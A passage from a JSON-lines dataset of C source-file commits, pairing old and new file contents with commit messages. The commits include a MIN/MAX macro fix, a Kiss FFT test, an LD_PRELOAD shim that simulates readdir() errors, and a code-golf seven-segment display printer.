DL_IMPORT(PyTypeObject) PyBool_Type;\n\n#define PyBool_Check(x) ((x)->ob_type == &PyBool_Type)\n\n\/* Py_False and Py_True are the only two bools in existence.\nDon't forget to apply Py_INCREF() when returning either!!! *\/\n\n\/* Don't use these directly *\/\nextern DL_IMPORT(PyIntObject) _Py_ZeroStruct, _Py_TrueStruct;\n\n\/* Use these macros *\/\n#define Py_False ((PyObject *) &_Py_ZeroStruct)\n#define Py_True ((PyObject *) &_Py_TrueStruct)\n\n\/* Function to return a bool from a C long *\/\nPyObject *PyBool_FromLong(long);\n\n#ifdef __cplusplus\n}\n#endif\n#endif \/* !Py_BOOLOBJECT_H *\/\n","subject":"Add standard header preamble and footer, a-la intobject.h. Main purpose is extern \"C\" for C++ programs.","message":"Add standard header preamble and footer, a-la intobject.h.  Main purpose is extern \"C\" for C++ programs.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"62e863f35270846b5cb74fd5425f9d041bcb659b","old_file":"solutions\/uri\/1039\/1039.c","new_file":"solutions\/uri\/1039\/1039.c","old_contents":"","new_contents":"#include <math.h>\n#include <stdio.h>\n\nint main() {\n    double r1, x1, y1, r2, x2, y2;\n    double distance;\n\n    while (scanf(\"%lf %lf %lf %lf %lf %lf\", &r1, &x1, &y1, &r2, &x2, &y2) != EOF) {\n        distance = sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2));\n\n        if (r1 >= distance + r2) {\n            puts(\"RICO\");\n        } else {\n            puts(\"MORTO\");\n        }\n    }\n\n    return 0;\n}\n","subject":"Solve Fire Flowers in c","message":"Solve Fire Flowers in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"aad15687e0b91cba541cb939df092a15dbf43ae5","old_file":"src\/core\/kms-utils.c","new_file":"src\/core\/kms-utils.c","old_contents":"#include <gst\/gst.h>\n#include \"kms-core.h\"\n\nstatic GstElement *pipe = NULL;\nstatic G_LOCK_DEFINE(mutex);\nstatic gboolean init = FALSE;\n\nstatic gboolean\nbus_watch(GstBus *bus, GstMessage *message, gpointer data) {\n\tKMS_LOG_DEBUG(\"TODO: implement bus watcher\\n\");\n\treturn TRUE;\n}\n\nvoid\nkms_init(gint *argc, gchar **argv[]) {\n\tG_LOCK(mutex);\n\tif (!init) {\n\t\tGstBus *bus;\n\n\t\tg_type_init();\n\t\tgst_init(argc, argv);\n\t\tpipe = gst_pipeline_new(NULL);\n\t\tgst_element_set_state(pipe, GST_STATE_PLAYING);\n\n\t\tbus = gst_element_get_bus(pipe);\n\t\tgst_bus_add_watch(bus, bus_watch, NULL);\n\t\tinit = TRUE;\n\t}\n\tG_UNLOCK(mutex);\n}\n\nGstElement*\nkms_get_pipeline() {\n\treturn pipe;\n}\n","new_contents":"#include <gst\/gst.h>\n#include \"kms-core.h\"\n\nstatic GstElement *pipe = NULL;\nstatic G_LOCK_DEFINE(mutex);\nstatic gboolean init = FALSE;\n\nstatic gpointer\ngstreamer_thread(gpointer data) {\n\tGMainLoop *loop;\n\tloop = g_main_loop_new(NULL, TRUE);\n\tg_main_loop_run(loop);\n\treturn NULL;\n}\n\nvoid\nkms_init(gint *argc, gchar **argv[]) {\n\tG_LOCK(mutex);\n\tif (!init) {\n\t\tGstBus *bus;\n\n\t\tg_type_init();\n\t\tgst_init(argc, argv);\n\t\tpipe = gst_pipeline_new(NULL);\n\t\tgst_element_set_state(pipe, GST_STATE_PLAYING);\n\n\t\tbus = gst_element_get_bus(pipe);\n\t\tgst_bus_add_watch(bus, gst_bus_async_signal_func, NULL);\n\n\t\tg_thread_create(gstreamer_thread, NULL, TRUE, NULL);\n\n\t\tinit = TRUE;\n\t}\n\tG_UNLOCK(mutex);\n}\n\nGstElement*\nkms_get_pipeline() {\n\treturn pipe;\n}\n","subject":"Make all bus events to be signals","message":"Make all bus events to be signals\n","lang":"C","license":"lgpl-2.1","repos":"shelsonjava\/kurento-media-server,mparis\/kurento-media-server,todotobe1\/kurento-media-server,todotobe1\/kurento-media-server,lulufei\/kurento-media-server,TribeMedia\/kurento-media-server,shelsonjava\/kurento-media-server,Kurento\/kurento-media-server,lulufei\/kurento-media-server,mparis\/kurento-media-server,Kurento\/kurento-media-server,TribeMedia\/kurento-media-server"}
{"commit":"b817c6cc5a0231a0ad9bb1e71a69a15df05e4d80","old_file":"cmacros\/effectless.h","new_file":"cmacros\/effectless.h","old_contents":"#ifndef _EFFECTLESS\n#define EFFECTLESS\n\n\/*\nMacros without multiple execution of side-effects.\n*\/\n\n\/*\nGeneric min and max without double execution of side-effects:\n  http:\/\/stackoverflow.com\/questions\/3437404\/min-and-max-in-c\n*\/\n\n#define _CHOOSE(boolop, a, b, uid) \\\n  ({                               \\\n    decltype(a) _a_ ## uid = (a);  \\\n    decltype(b) _b_ ## uid = (b);  \\\n    (a) boolop (b) ? (a) : (b);    \\\n  })\n#undef MIN\n#undef MAX\n#define MIN(a, b) _CHOOSE(<, a, b, __COUNTER__)\n#define MAX(a, b) _CHOOSE(>, a, b, __COUNTER__)\n\n#endif","new_contents":"#ifndef _EFFECTLESS\n#define EFFECTLESS\n\n\/*\nMacros without multiple execution of side-effects.\n*\/\n\n\/*\nGeneric min and max without double execution of side-effects:\n  http:\/\/stackoverflow.com\/questions\/3437404\/min-and-max-in-c\n*\/\n\n#define _CHOOSE(boolop, a, b, uid)                                  \\\n  ({                                                                \\\n    decltype(a) _a_ ## uid = (a);                                   \\\n    decltype(b) _b_ ## uid = (b);                                   \\\n    (_a_ ## uid) boolop (_b_ ## uid) ? (_a_ ## uid) : (_b_ ## uid); \\\n  })\n#undef MIN\n#undef MAX\n#define MIN(a, b) _CHOOSE(<, a, b, __COUNTER__)\n#define MAX(a, b) _CHOOSE(>, a, b, __COUNTER__)\n\n#endif","subject":"Fix `_CHOOSE` to use the copies instead of double execution of side-effects (issue reported by tromp at bitcointalk.org)","message":"Fix `_CHOOSE` to use the copies instead of double execution of side-effects (issue reported by tromp at bitcointalk.org)\n","lang":"C","license":"unlicense","repos":"shelby3\/cmacros,shelby3\/cmacros"}
{"commit":"ab2bf7a582302431dec4de7ec7f1434fdac6ebac","old_file":"mudlib\/mud\/home\/Help\/initd.c","new_file":"mudlib\/mud\/home\/Help\/initd.c","old_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2009, 2012, 2013, 2014  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths\/bigstruct.h>\n#include <kotaka\/paths\/system.h>\n#include <kotaka\/privilege.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tKERNELD->set_global_access(\"Help\", 1);\n\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n}\n","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2009, 2012, 2013, 2014  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths\/bigstruct.h>\n#include <kotaka\/paths\/system.h>\n#include <kotaka\/privilege.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tKERNELD->set_global_access(\"Help\", 1);\n\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n}\n\nvoid do_upgrade()\n{\n\tINITD->shutdown_subsystem(\"Help\");\n}\n","subject":"Make gutted help subsystem shut itself down on next upgrade","message":"Make gutted help subsystem shut itself down on next upgrade\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"f93e670354840c8f31b1c4898329c219a4abb701","old_file":"kernel\/extra\/debugpanel\/dp_mem_chunks.c","new_file":"kernel\/extra\/debugpanel\/dp_mem_chunks.c","old_contents":"","new_contents":"\/* SPDX-License-Identifier: BSD-2-Clause *\/\n\n#include <tilck\/common\/basic_defs.h>\n#include <tilck\/common\/string_util.h>\n#include <tilck\/kernel\/kmalloc.h>\n#include <tilck\/kernel\/cmdline.h>\n\n#include \"termutil.h\"\n#include \"dp_int.h\"\n\nstatic debug_kmalloc_chunk_stat chunks_arr[1024];\n\nstatic void dp_show_chunks(void)\n{\n   debug_kmalloc_stats stats;\n   int row = dp_screen_start_row;\n\n   if (!KMALLOC_HEAVY_STATS) {\n      dp_writeln(\"Not available: recompile with KMALLOC_HEAVY_STATS=1\");\n      return;\n   }\n\n   debug_kmalloc_get_stats(&stats);\n\n   if (stats.chunk_sizes_count > ARRAY_SIZE(chunks_arr)) {\n      dp_writeln(\"Not enough space in chunks_arr!\");\n      return;\n   }\n\n   debug_kmalloc_get_chunks_info(chunks_arr);\n\n   for (size_t i = 0; i < stats.chunk_sizes_count; i++) {\n      dp_writeln(\"Size: %8u -> %6u allocs\",\n                 chunks_arr[i].size, chunks_arr[i].count);\n   }\n}\n\nstatic dp_screen dp_chunks_screen =\n{\n   .index = 5,\n   .label = \"MemChunks\",\n   .draw_func = dp_show_chunks,\n   .on_keypress_func = NULL,\n};\n\n__attribute__((constructor))\nstatic void dp_chunks_init(void)\n{\n   dp_register_screen(&dp_chunks_screen);\n}\n","subject":"Add the MemChunks screen [for kmalloc heavy stats]","message":"[debugpanel] Add the MemChunks screen [for kmalloc heavy stats]\n","lang":"C","license":"bsd-2-clause","repos":"vvaltchev\/experimentOs,vvaltchev\/experimentOs,vvaltchev\/experimentOs,vvaltchev\/experimentOs"}
{"commit":"76de586faadc195b372248b8f52e66568c31ec1a","old_file":"src\/port\/getrusage.c","new_file":"src\/port\/getrusage.c","old_contents":"#include \"..\/sccs.h\"\n\n#ifdef WIN32\n\n#include <psapi.h>\n\nu64\nmaxrss(void)\n{\n\tPROCESS_MEMORY_COUNTERS cnt;\n\n\tif (GetProcessMemoryInfo(GetCurrentProcess(), &cnt, sizeof(cnt))) {\n\t\treturn (cnt.PeakWorkingSetSize);\n\t}\n\treturn (0);\n}\n\n#else\n\n#include <sys\/resource.h>\n\nu64\nmaxrss(void)\n{\n\tstruct rusage ru;\n\n\tif (!getrusage(RUSAGE_SELF, &ru)) return (1024 * ru.ru_maxrss);\n\treturn (0);\n}\n\n#endif\n","new_contents":"#include \"..\/sccs.h\"\n\n#ifdef WIN32\n\n#include <psapi.h>\n\nu64\nmaxrss(void)\n{\n\tPROCESS_MEMORY_COUNTERS cnt;\n\n\tif (GetProcessMemoryInfo(GetCurrentProcess(), &cnt, sizeof(cnt))) {\n\t\treturn (cnt.PeakWorkingSetSize);\n\t}\n\treturn (0);\n}\n\n#else\n\n#include <sys\/resource.h>\n\nu64\nmaxrss(void)\n{\n\tstruct rusage\tru;\n#if defined(sun)\n\tint\t\tfactor = getpagesize();\n#elif defined(__APPLE__)\n\tint\tfactor = 1;\n#else\n\tint\tfactor = 1024;\n#endif\n\n\tif (getrusage(RUSAGE_SELF, &ru)) return (0);\n\n\treturn (ru.ru_maxrss * factor);\n}\n\n#endif\n","subject":"Adjust for the fact that MacOS X and Solaris report maxrss in different units.","message":"Adjust for the fact that MacOS X and Solaris report maxrss in\ndifferent units.\n\nbk: 5489ebbfQIN1Wbpf9Qa4aY-VK6F8xw","lang":"C","license":"apache-2.0","repos":"bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper"}
{"commit":"54d4ca4f7db1a12316b03a839710437765f5273a","old_file":"src\/ZeroField.h","new_file":"src\/ZeroField.h","old_contents":"#ifndef __ZERO_FIELD_H__\n#define __ZERO_FIELD_H__\n\n#include \"Field.h\"\n\nnamespace cigma {\n    class ZeroField;\n}\n\nclass cigma::ZeroField : public cigma::Field\n{\npublic:\n    ZeroField();\n    ~ZeroField();\n    void set_shape(int dim, int rank);\n\npublic:\n    int n_dim() { return dim; }\n    int n_rank() { return rank; }\n    FieldType getType() { return USER_FIELD; }\n\npublic:\n    bool eval(double *point, double *value);\n\npublic:\n    int dim;\n    int rank;\n};\n\n#endif\n\n","new_contents":"#ifndef __ZERO_FIELD_H__\n#define __ZERO_FIELD_H__\n\n#include \"UserField.h\"\n\nnamespace cigma {\n    class ZeroField;\n}\n\nclass cigma::ZeroField : public cigma::UserField\n{\npublic:\n    ZeroField();\n    ~ZeroField();\n    void set_shape(int dim, int rank);\n\npublic:\n    int n_dim() { return dim; }\n    int n_rank() { return rank; }\n\npublic:\n    bool eval(double *point, double *value);\n\npublic:\n    int dim;\n    int rank;\n};\n\n#endif\n\n","subject":"Make zero a user field","message":"Make zero a user field\n\n","lang":"C","license":"lgpl-2.1","repos":"geodynamics\/cigma,geodynamics\/cigma,geodynamics\/cigma,geodynamics\/cigma,geodynamics\/cigma"}
{"commit":"ee6f262065dc3957de34372ca9d059c7190024ad","old_file":"java\/include\/pstore-jni.h","new_file":"java\/include\/pstore-jni.h","old_contents":"","new_contents":"#ifndef PSTOREJNI_H\n#define PSTOREJNI_H\n\n#include <inttypes.h>\n\n#ifdef __i386__\n  #define LONG_TO_PTR(ptr) (void *) (uint32_t) ptr\n#elif __X86_64__\n  #define LONG_TO_PTR(ptr) (void *) ptr\n#endif\n\n#define PTR_TO_LONG(ptr) (long) ptr\n\n#endif\n","subject":"Add 'LONG_TO_PTR' and 'PTR_TO_LONG' macros","message":"java: Add 'LONG_TO_PTR' and 'PTR_TO_LONG' macros\n\nSigned-off-by: Karim Osman <94396faf6cc817be76165477038b3cfa832e89a4@reaktor.fi>\nSigned-off-by: Pekka Enberg <add4fcd06328a394f0ad91feda7ee057316dc5ed@kernel.org>\n","lang":"C","license":"lgpl-2.1","repos":"penberg\/pstore,penberg\/pstore,penberg\/pstore,penberg\/pstore"}
{"commit":"2f329161a12024e003427fc98e2ce6b7cfcfce48","old_file":"MORK\/MORK.h","new_file":"MORK\/MORK.h","old_contents":"\/\/\n\/\/  MORK.h\n\/\/  MORK\n\/\/\n\/\/  Created by Nolan Carroll on 4\/23\/15.\n\/\/  Copyright (c) 2015 Medidata Solutions. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"ORKTaskResult+MORK.h\"\n#import \"ORKQuestionResult+MORK.h\"\n\n\/\/! Project version number for MORK.\nFOUNDATION_EXPORT double MORKVersionNumber;\n\n\/\/! Project version string for MORK.\nFOUNDATION_EXPORT const unsigned char MORKVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <MORK\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  MORK.h\n\/\/  MORK\n\/\/\n\/\/  Created by Nolan Carroll on 4\/23\/15.\n\/\/  Copyright (c) 2015 Medidata Solutions. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"ORKCollectionResult+MORK.h\"\n#import \"ORKQuestionResult+MORK.h\"\n\n\/\/! Project version number for MORK.\nFOUNDATION_EXPORT double MORKVersionNumber;\n\n\/\/! Project version string for MORK.\nFOUNDATION_EXPORT const unsigned char MORKVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <MORK\/PublicHeader.h>\n\n\n","subject":"Update import in main header file","message":"Update import in main header file\n","lang":"C","license":"mit","repos":"mdsol\/MORK,mdsol\/MORK"}
{"commit":"cae22b0d5dbd38fff95f3730914ae03e12e7b5bd","old_file":"core\/metacling\/inc\/LinkDef.h","new_file":"core\/metacling\/inc\/LinkDef.h","old_contents":"\/* @(#)root\/meta:$Id: 4660ec009138a70261265c65fc5a10398706fbd1 $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CINT__\n\n#pragma link C++ class TCling;\n\n#endif\n","new_contents":"\/* @(#)root\/meta:$Id$ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CINT__\n\n#pragma link C++ class TCling;\n\n#endif\n","subject":"Clean up versioning commit hash.","message":"Clean up versioning commit hash.\n","lang":"C","license":"lgpl-2.1","repos":"karies\/root,root-mirror\/root,agarciamontoro\/root,bbockelm\/root,zzxuanyuan\/root,root-mirror\/root,bbockelm\/root,karies\/root,gbitzes\/root,zzxuanyuan\/root,mhuwiler\/rootauto,gbitzes\/root,gganis\/root,karies\/root,zzxuanyuan\/root,agarciamontoro\/root,olifre\/root,BerserkerTroll\/root,buuck\/root,karies\/root,bbockelm\/root,mhuwiler\/rootauto,root-mirror\/root,BerserkerTroll\/root,zzxuanyuan\/root,simonpf\/root,satyarth934\/root,abhinavmoudgil95\/root,mhuwiler\/rootauto,olifre\/root,karies\/root,buuck\/root,gganis\/root,olifre\/root,abhinavmoudgil95\/root,BerserkerTroll\/root,agarciamontoro\/root,mhuwiler\/rootauto,root-mirror\/root,abhinavmoudgil95\/root,zzxuanyuan\/root,beniz\/root,olifre\/root,agarciamontoro\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,satyarth934\/root,davidlt\/root,agarciamontoro\/root,mhuwiler\/rootauto,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,root-mirror\/root,simonpf\/root,satyarth934\/root,bbockelm\/root,karies\/root,beniz\/root,karies\/root,zzxuanyuan\/root-compressor-dummy,gganis\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,satyarth934\/root,simonpf\/root,davidlt\/root,mhuwiler\/rootauto,buuck\/root,agarciamontoro\/root,satyarth934\/root,agarciamontoro\/root,buuck\/root,BerserkerTroll\/root,BerserkerTroll\/root,abhinavmoudgil95\/root,abhinavmoudgil95\/root,bbockelm\/root,davidlt\/root,gganis\/root,abhinavmoudgil95\/root,gbitzes\/root,buuck\/root,zzxuanyuan\/root,beniz\/root,olifre\/root,agarciamontoro\/root,agarciamontoro\/root,davidlt\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,gbitzes\/root,satyarth934\/root,root-mirror\/root,zzxuanyuan\/root-compressor-dummy,root-mirror\/root,zzxuanyuan\/root-compressor-dummy,gganis\/root,abhinavmoudgil95\/root,olifre\/root,satyarth934\/root,zzxuanyuan\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,satyarth934\/root,davidlt\/root,bbockelm\/root,satyarth934\/root,BerserkerTroll\/root,bbockelm\/root,simonpf\/root,gbitzes\/root,gbitzes\/root,gganis\/root,abhinavmoudgil95\/root,agarciamontoro\/root,mhuwiler\/rootauto,davidlt\/root,zzxuanyuan\/root-compressor-dummy,mhuwiler\/rootauto,olifre\/root,mhuwiler\/rootauto,BerserkerTroll\/root,karies\/root,mhuwiler\/rootauto,satyarth934\/root,beniz\/root,buuck\/root,gbitzes\/root,simonpf\/root,gbitzes\/root,davidlt\/root,gganis\/root,buuck\/root,zzxuanyuan\/root,gganis\/root,olifre\/root,beniz\/root,bbockelm\/root,root-mirror\/root,simonpf\/root,beniz\/root,bbockelm\/root,buuck\/root,agarciamontoro\/root,zzxuanyuan\/root,olifre\/root,olifre\/root,mhuwiler\/rootauto,abhinavmoudgil95\/root,zzxuanyuan\/root-compressor-dummy,abhinavmoudgil95\/root,gganis\/root,beniz\/root,simonpf\/root,root-mirror\/root,davidlt\/root,olifre\/root,buuck\/root,gbitzes\/root,buuck\/root,davidlt\/root,karies\/root,beniz\/root,simonpf\/root,root-mirror\/root,gbitzes\/root,abhinavmoudgil95\/root,simonpf\/root,gganis\/root,bbockelm\/root,gbitzes\/root,bbockelm\/root,gganis\/root,karies\/root,satyarth934\/root,simonpf\/root,karies\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,BerserkerTroll\/root,buuck\/root,davidlt\/root,simonpf\/root,root-mirror\/root,beniz\/root"}
{"commit":"ec47d75d7c8610c81b402d20885ecf2f5e80c784","old_file":"test\/CodeGen\/forwarding-blocks-if.c","new_file":"test\/CodeGen\/forwarding-blocks-if.c","old_contents":"\/\/ RUN: %clang_cc1 %s -emit-llvm -o - | FileCheck %s\n\/\/ Check that no empty blocks are generated for nested ifs.\n\nextern void func();\n\nint f0(int val) {\n  if (val == 0) {\n    func();\n  } else if (val == 1) {\n    func();\n  }\n  return 0;\n}\n\n\/\/ CHECK-LABEL: define i32 @f0\n\/\/ CHECK: call void {{.*}} @func\n\/\/ CHECK: call void {{.*}} @func\n\/\/ CHECK: br label %[[RETBLOCK1:[^ ]*]]\n\/\/ CHECK: [[RETBLOCK1]]:\n\/\/ CHECK-NOT: br label\n\/\/ CHECK: ret i32\n\nint f1(int val, int g) {\n  if (val == 0)\n    if (g == 1) {\n      func();\n    }\n  return 0;\n}\n\n\/\/ CHECK-LABEL: define i32 @f1\n\/\/ CHECK: call void {{.*}} @func\n\/\/ CHECK: br label %[[RETBLOCK2:[^ ]*]]\n\/\/ CHECK: [[RETBLOCK2]]:\n\/\/ CHECK-NOT: br label\n\/\/ CHECK: ret i32\n","new_contents":"\/\/ RUN: %clang_cc1 %s -emit-llvm -o - | FileCheck %s\n\/\/ Check that no empty blocks are generated for nested ifs.\n\nextern void func();\n\nint f0(int val) {\n  if (val == 0) {\n    func();\n  } else if (val == 1) {\n    func();\n  }\n  return 0;\n}\n\n\/\/ CHECK-LABEL: define {{.*}} i32 @f0\n\/\/ CHECK: call void {{.*}} @func\n\/\/ CHECK: call void {{.*}} @func\n\/\/ CHECK: br label %[[RETBLOCK1:[^ ]*]]\n\/\/ CHECK: [[RETBLOCK1]]:\n\/\/ CHECK-NOT: br label\n\/\/ CHECK: ret i32\n\nint f1(int val, int g) {\n  if (val == 0)\n    if (g == 1) {\n      func();\n    }\n  return 0;\n}\n\n\/\/ CHECK-LABEL: define {{.*}} i32 @f1\n\/\/ CHECK: call void {{.*}} @func\n\/\/ CHECK: br label %[[RETBLOCK2:[^ ]*]]\n\/\/ CHECK: [[RETBLOCK2]]:\n\/\/ CHECK-NOT: br label\n\/\/ CHECK: ret i32\n","subject":"Fix test submitted with r275115 (failed on ppc64 buildbots).","message":"Fix test submitted with r275115 (failed on ppc64 buildbots).\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@275127 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"3864a8322e66280ad9c142810b80f9ac645b9754","old_file":"test_fft.c","new_file":"test_fft.c","old_contents":"","new_contents":"\/\/ Taken from: http:\/\/stackoverflow.com\/a\/14537855\n\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#ifndef M_PI\n#define M_PI 3.14159265358979324\n#endif\n\n#define N 16\n\n#define kiss_fft_scalar double\n#include \"kiss_fftr.h\"\n\nvoid TestFftReal(const char *title, const kiss_fft_scalar in[N],\n                 kiss_fft_cpx out[N \/ 2 + 1]) {\n  kiss_fftr_cfg cfg;\n\n  printf(\"%s\\n\", title);\n\n  if ((cfg = kiss_fftr_alloc(N, 0 \/*is_inverse_fft*\/, NULL, NULL)) != NULL) {\n    size_t i;\n\n    kiss_fftr(cfg, in, out);\n    free(cfg);\n\n    for (i = 0; i < N; i++) {\n      printf(\" in[%2zu] = %+f    \", i, in[i]);\n      if (i < N \/ 2 + 1)\n        printf(\"out[%2zu] = %+f , %+f\", i, out[i].r, out[i].i);\n      printf(\"\\n\");\n    }\n  } else {\n    printf(\"not enough memory?\\n\");\n    exit(-1);\n  }\n}\n\nint main(void) {\n  kiss_fft_scalar in[N];\n  kiss_fft_cpx out[N \/ 2 + 1];\n  size_t i;\n\n  for (i = 0; i < N; i++)\n    in[i] = 0;\n  TestFftReal(\"Zeroes (real)\", in, out);\n\n  for (i = 0; i < N; i++)\n    in[i] = 1;\n  TestFftReal(\"Ones (real)\", in, out);\n\n  for (i = 0; i < N; i++)\n    in[i] = sin(2 * M_PI * 4 * i \/ N);\n  TestFftReal(\"SineWave (real)\", in, out);\n\n  return 0;\n}\n","subject":"Add a program to test Kiss FFT.","message":"Add a program to test Kiss FFT.\n","lang":"C","license":"mit","repos":"mpoullet\/audio-tools,mpoullet\/audio-tools,mpoullet\/audio-tools,mpoullet\/audio-tools,mpoullet\/audio-tools"}
{"commit":"43835c1c83c36527a5c7fae307b4118509775fbe","old_file":"tests\/fake_readdir.c","new_file":"tests\/fake_readdir.c","old_contents":"","new_contents":"\/*\n\nSmall library to test implementation of option -Z and FPART_PARTERRNO\n\nInspired from:\nhttps:\/\/lists.gnu.org\/archive\/html\/bug-gnulib\/2016-06\/msg00058.html\n\n$ cc -fPIC -shared -o libfake_readdir.so fake_readdir.c\n\n$ mkdir -p \/tmp\/test\/a\/b\/c\/d\/e\/f\/g\/h\/i\/j\n$ LD_PRELOAD=.\/libfake_readdir.so fpart -L -E -zz -Z -f 2 -vvv \/tmp\/test\n\n$ mkdir -p \/tmp\/test\/b\/{c,d}\n$ touch \/tmp\/test\/b\/{c,d}\/{a..z}\n$ LD_PRELOAD=.\/libfake_readdir.so fpart -L -E -zz -Z -f 2 -vvv \/tmp\/test\/b\n\n*\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/types.h>\n#include <string.h>\n#include <dirent.h>\n#include <errno.h>\n\n#include <dlfcn.h>\n\nstatic size_t counter = 0;\n#define FAIL_EVERY 7\n\nstatic struct dirent *(*real_readdir)(DIR *dirp) = NULL;\n\nstruct dirent *readdir(DIR *dirp)\n{\n    \/* Keep original pointer *\/\n    if(real_readdir == NULL)\n        real_readdir = dlsym(RTLD_NEXT, \"readdir\");\n\n    counter++;\n\n    if((counter % FAIL_EVERY) == 0) {\n        fprintf(stderr, \"XXX Failing call to readdir(), counter = %zu\\n\", counter);\n        fflush(stderr);\n        errno=EIO;\n        return NULL;\n    }\n\n    return real_readdir(dirp);\n}\n","subject":"Add a small wrapper to simulate readdir() errors","message":"Add a small wrapper to simulate readdir() errors\n\nUseful to test recently-patched embedded fts and option -Z\n","lang":"C","license":"bsd-2-clause","repos":"martymac\/fpart,martymac\/fpart"}
{"commit":"e4dfaad868cf5f29058a081422cdb4420d853311","old_file":"7segments.c","new_file":"7segments.c","old_contents":"#define L for(char*c=a[1],y;*c;)printf(\"%c%c%c%c\",(y=\"w$]m.k{%\\177o\"[*c++-48])&u\/4?124:32,y&u?95:32,y&u\/2?124:32,*c?32:10);u*=8;\nmain(int u,char**a){u=1;L;L;L}","new_contents":"#define L for(char*c=a[1],y;*c;)printf(\"%c%c%c%c\",(y=\"w$]m.k{%\\177o\"[*c++-48])&u\/4?33:32,y&u?95:32,y&u\/2?33:32,*c?32:10);u*=8;\nmain(int u,char**a){u=1;L;L;L}","subject":"Use ! instead of |, looks nicer also saves two bytes","message":"Use ! instead of |, looks nicer also saves two bytes\n","lang":"C","license":"mit","repos":"McZonk\/7segements,McZonk\/7segements"}
